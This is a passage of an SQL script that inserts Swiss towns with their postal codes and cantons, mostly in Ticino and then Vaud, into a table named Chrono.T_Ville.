Chrono.T_Ville VALUES ("CHE","Castione",6532,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellinzona",6500,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bellinzona",6503,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cadenazzo",6593,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Robasacco",6599,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Camorino",6528,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Giubiasco",6512,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gnosca",6525,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gorduno",6518,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gudo",6515,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Isone",6810,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lumino",6533,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moleno",6524,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Monte Carasso",6513,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pianezzo",6582,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Preonzo",6523,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Antonino",6592,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Antonio (Val Morobbia)",6583,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Carena",6584,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sementina",6514,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dongio",6715,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Acquarossa",6716,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leontica",6716,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lottigna",6716,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Motto (Blenio)",6721,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corzoneso",6722,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prugiasco",6723,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Castro",6723,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marolta",6723,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ponto Valentino",6724,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Largario",6724,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dangio",6717,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Torre",6717,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Olivone",6718,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Camperio",6718,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aquila",6719,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aquila",6719,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Campo (Blenio)",6720,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ghirone",6720,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Malvaglia",6713,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Semione",6714,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ludiano",6721,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Airolo",6780,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Madrano",6780,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villa Bedretto",6781,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bedretto",6781,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bodio TI",6743,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dalpe",6774,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lavorgo",6746,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Calonico",6746,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nivo",6746,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chironico",6747,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Anzonico",6748,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sobrio",6749,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cavagnago",6749,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Faido",6760,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Molare",6760,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Calpiogna",6760,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Campello",6760,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Carì",6760,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rossura",6760,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Osco",6763,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mairengo",6763,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chiggiogna",6764,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chiggiogna",6764,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Giornico",6745,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Personico",6744,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pollegio",6742,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rodi-Fiesso",6772,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prato (Leventina)",6773,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ambrì",6775,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Piotta",6776,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Quinto",6777,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Varenzo",6777,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ascona",6612,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brione (Verzasca)",6634,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brione sopra Minusio",6645,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brissago",6614,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Isole di Brissago",6614,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corippo",6631,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frasco",6636,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gordola",6596,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riazzino",6595,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lavertezzo",6633,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Locarno",6600,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Locarno",6600,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Solduno",6600,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Locarno",6605,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Losone",6616,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arcegno",6618,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mergoscia",6647,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Minusio",6648,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muralto",6600,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Orselina",6644,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Porto Ronco",6613,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ronco sopra Ascona",6622,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sonogno",6637,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tenero",6598,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Contra",6646,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vogorno",6632,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mosogno",6611,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gresso",6611,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Crana",6611,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Loco",6661,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Auressio",6661,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berzona",6661,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Russo",6662,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Comologno",6663,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Spruga",6663,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vergeletto",6664,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cugnasco",6516,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Agarone",6597,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gerra (Verzasca)",6635,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Agno",6982,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cassina d'Agno",6990,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aranno",6994,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arogno",6822,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pugerna",6823,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Astano",6999,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bedano",6930,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bedigliora",6981,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bedigliora",6981,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Banco",6981,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bioggio",6934,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bosco Luganese",6935,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cimo",6992,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Iseo",6993,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bissone",6816,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brusino Arsizio",6827,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Serpiano",6867,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cademario",6936,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cadempino",6814,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Canobbio",6952,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Caslano",6987,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Comano",6949,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Castelrotto",6980,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biogno-Beride",6981,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Purasca",6989,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Madonna del Piano",6995,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cureglia",6944,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bombinasco",6981,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Curio",6986,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grancia",6916,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gravesano",6929,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lamone",6814,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lugano",6900,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pazzallo",6912,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Carabbia",6913,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Carona",6914,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pambio-Noranco",6915,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Barbengo",6917,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Figino",6918,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Breganzona",6932,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Insone",6951,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scareglia",6951,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Colla",6951,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bogno",6951,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cozzo",6951,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Signôra",6951,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maglio di Colla",6959,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Certara",6959,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Curtina",6959,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cimadera",6959,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Piandera Paese",6959,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Piandera Paese",6959,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Viganello",6962,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pregassona",6963,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cureggia",6963,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Davesco-Soragno",6964,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cadro",6965,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villa Luganese",6966,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dino",6967,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sonvico",6968,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aldesago",6974,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Castagnola",6976,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ruvigliana",6977,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gandria",6978,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brè sopra Lugano",6979,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Magliaso",6983,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Manno",6928,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maroggia",6817,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Massagno",6900,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Melano",6818,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Melide",6815,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mezzovico",6805,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mezzovico",6805,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Miglieglia",6986,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Monteggio",6998,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morcote",6922,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muzzano",6933,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neggio",6991,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Novaggio",6986,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Origlio",6945,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Paradiso",6900,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ponte Capriasca",6946,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ponte Capriasca",6946,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ponte Tresa",6988,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Porza",6948,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pura",6984,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rovio",6821,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Capolago",6825,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Savosa",6942,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sessa",6997,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sorengo",6924,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Taverne",6807,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vaglio",6947,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tesserete",6950,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lugaggia",6953,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sala Capriasca",6954,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bigorio",6954,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cagiallo",6955,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oggio",6955,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oggio",6955,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lopagno",6956,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roveredo TI",6957,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bidogno",6958,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corticiasca",6958,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corticiasca",6958,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Odogno",6960,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Taverne",6807,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Torricella",6808,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vernate",6992,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vezia",6943,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vico Morcote",6921,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Carabietta",6919,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gentilino",6925,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montagnola",6926,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Agra",6927,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Breno",6937,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vezio",6938,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fescoggia",6938,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mugena",6939,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arosio",6939,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rivera",6802,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Camignolo",6803,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bironico",6804,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sigirino",6806,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Medeglia",6809,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Balerna",6828,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corteglia",6873,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Castel San Pietro",6874,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Monte",6875,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Casima",6875,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Campora",6875,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chiasso",6830,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pedrinate",6832,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Seseglio",6832,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Coldrerio",6877,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Capolago",6825,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mendrisio",6850,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Genestrerio",6852,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ligornetto",6853,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rancate",6862,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Besazio",6863,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arzo",6864,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tremona",6865,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Meride",6866,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salorino",6872,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Somazzo",6872,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morbio Inferiore",6834,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Novazzano",6883,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riva San Vitale",6826,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Pietro",6854,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stabio",6855,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vacallo",6833,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morbio Superiore",6835,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Caneggio",6837,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bruzella",6837,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muggio",6838,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cabbio",6838,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Scudellate",6838,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sagno",6839,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Biasca",6710,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Claro",6702,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cresciano",6705,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Iragna",6707,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prosito",6526,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lodrino",6527,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Osogna",6703,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bosco/Gurin",6685,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niva (Vallemaggia)",6683,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Campo (Vallemaggia)",6684,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cimalmotto",6684,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cerentino",6683,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cevio",6675,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bignasco",6676,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cavergno",6690,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Carlo (Val Bavona)",6690,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Linescio",6682,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maggia",6673,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Someo",6674,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riveo",6674,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aurigeno",6677,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moghegno",6677,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Giumaglio",6678,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lodano",6678,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Coglio",6678,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Menzonio",6692,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brontallo",6692,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Broglio",6693,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Prato-Sornico",6694,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Peccia",6695,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Piano di Peccia",6695,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fusio",6696,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Avegno",6670,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gordevio",6672,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Medeglia",6809,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tegna",6652,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Verscio",6653,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cavigliano",6654,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Intragna",6655,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Verdasio",6655,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rasa",6655,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Golino",6656,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Palagnedra",6657,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Borgnone",6658,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Camedo",6659,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Moneto",6659,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Indemini",6571,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Quartino",6572,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Magadino",6573,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vira (Gambarogno)",6574,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Nazzaro",6575,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vairano",6575,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gerra (Gambarogno)",6576,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ranzo",6577,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Caviano",6578,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Piazzogna",6579,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Contone",6594,"TI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aigle",1860,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bex",1880,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frenières-sur-Bex",1880,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fenalet-sur-Bex",1880,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Plans-sur-Bex",1880,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Posses-sur-Bex",1880,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chessel",1846,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Corbeyrier",1856,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gryon",1882,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lavey-Village",1892,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lavey-les-Bains",1892,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Morcles",1892,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Leysin",1854,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Noville",1845,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ollon VD",1867,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St-Triphon",1867,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Panex",1867,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villars-sur-Ollon",1884,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arveyes",1884,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Huémoz",1884,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Chesières",1885,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Mosses",1862,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Comballaz",1862,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Sépey",1863,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Forclaz VD",1866,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vers-l'Eglise",1864,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Les Diablerets",1865,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rennaz",1847,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Roche VD",1852,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Villeneuve VD",1844,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Yvorne",1853,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Apples",1143,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Aubonne",1170,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pizy",1174,"VD"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ballens",1144,"VD"); INSERT INTO 